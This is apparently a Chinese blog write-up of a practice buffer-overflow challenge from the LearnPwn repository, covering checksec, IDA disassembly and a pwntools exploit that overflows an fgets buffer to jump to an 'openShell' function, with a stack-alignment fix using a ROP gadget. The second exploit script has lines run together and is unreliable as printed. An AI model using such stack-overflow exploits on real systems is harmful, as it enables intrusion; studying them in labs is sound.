当前位置: 首页 > news >正文

1.Buffer_Overflow-1.Basic_Jump

github上面的练习题

git clone https://github.com/Adamkadaban/LearnPwn

然后开始做

先进行 readelf

 然后进行执行看看 是怎么回事

./buf1

 发现就是一个输入和输出

我们checksec看看

 发现stack 保护关闭 开启了NX保护

我们进入ida64看看反汇编

我习惯先看看字符串 SHITF+F12

发现/bin/sh

我们先去主函数看看有什么漏洞

进入一个函数 getName

 我们能看见 给了一个数组

然后下面又有一个fgets函数

fget()和get不同 不会无限输入

但是这里fgets 发现读取的大小为100 但是我们的s 只有15

这里我们就可以进行写入 因为他要读取 所以我们

可以把s和rbp填满垃圾字符 然后返回到shellcode地址

fget()
会读取指针所指的 并且大小限制的 
如果我们溢出字符串 将s和rbp覆盖了 后面就还有很大的空间 我们可以进行构造
因为返回的是100 所以我们构造的 他还是会直接返回 执行

 

类似这个 我们在覆盖了buf 和ret后 就可以进行构造了 因为他会读取100

shellcode地址我们很容易就发现

 exp

from pwn import *
p = process('./buf1')
payload=b'A'*(0xf+0x8)+p64(0x401224)+p64(0)+p64(0)+p64(0)+p64(0)+p64(0x4011BC)
p.sendline(payload)
p.interactive()

 问题 出现 code -11

他原本自带了 exp

但是我发现执行不了

我们进行排查后发现是栈不对齐

我们gdb看看

 

我们发现 这里他

mov eax,0
pop rbp
retpush rbp

执行力三条才到 rbp 这里就导致我们报错

我们该如何解决呢

我们自己设置返回即可

ROPgadget --binary ./buf1 --only 'pop|ret'

 使用这个寄存器 直接设置返回即可

#!/bin/python3from pwn import *p = process('./buf1')
e = ELF('./buf1') # This imports all the symbols in the binary# context.log_level = 'debug'offset = 0x7fffffffdfe8 - 0x7fffffffdfd1 # $rbp - $(locationOfInput)
loc = p64(e.symbols['openShell']) # \xcf\x11payload = b'A'*offset
payload +=p64(0x401224)+p64(0)+p64(0)+p64(0)+p64(0)
payload +=locp.sendline(payload) # We send 0x17 (or 23) bytes of data because that was how far away from the stack pointer our variable wasp.interactive()

 

http://www.lryc.cn/news/68237.html

相关文章:

  • MySQL入门语法第三课:表结构的创建
  • SpringSecurity框架学习与使用
  • DHCP+链路聚合+NAT+ACL小型实验
  • 西瓜书读书笔记整理(三)—— 第二章 模型评估与选择
  • AcWing算法提高课-1.3.6货币系统
  • vue3回到上一个路由页面
  • Linux三种网络模式 | 仅主机、桥接、NAT
  • 数据库设计与前端框架
  • 技术探秘:揭秘Bean Factory与FactoryBean的区别!
  • MD-MTSP:遗传算法GA求解多仓库多旅行商问题(提供MATLAB代码,可以修改旅行商个数及起点)
  • 技术面试的终极指南:助你取得成功的关键步骤
  • Nautilus Chain 测试网第二阶段,推出忠诚度计划及广泛空投
  • Python爬虫(三):BeautifulSoup库
  • Python使用CV2库捕获、播放和保存摄像头视频
  • [数据结构 -- C语言] 栈(Stack)
  • 【我的C++入门之旅】(上)
  • dcdc降压电路原理及仿真
  • 搭建Redis主从集群+哨兵+代理predixy
  • Syncthing文件同步 - 免费搭建开源的文件自动同步服务器并公网远程访问【私人云盘】
  • SQL——索引
  • Java代码组成部分
  • vue2和vue3有啥区别,vue3的优点有哪些?
  • 就业内推 | 上市公司招网工,最高25k*14薪,六险一金
  • 低代码让开发变得不再复杂
  • 【前端客栈】使用CSS实现畅销书排行榜页面
  • 【周末闲谈】超越ChatGPT?科大讯飞星火认知大模型
  • 第N2周:中文文本分类-Pytorch实现
  • Salesforce许可证和版本有什么区别,购买帐号时应该如何选择?
  • 接口测试怎么做?全网最详细从接口测试到接口自动化详解,看这篇就够了...
  • DataStore入门及在项目中的使用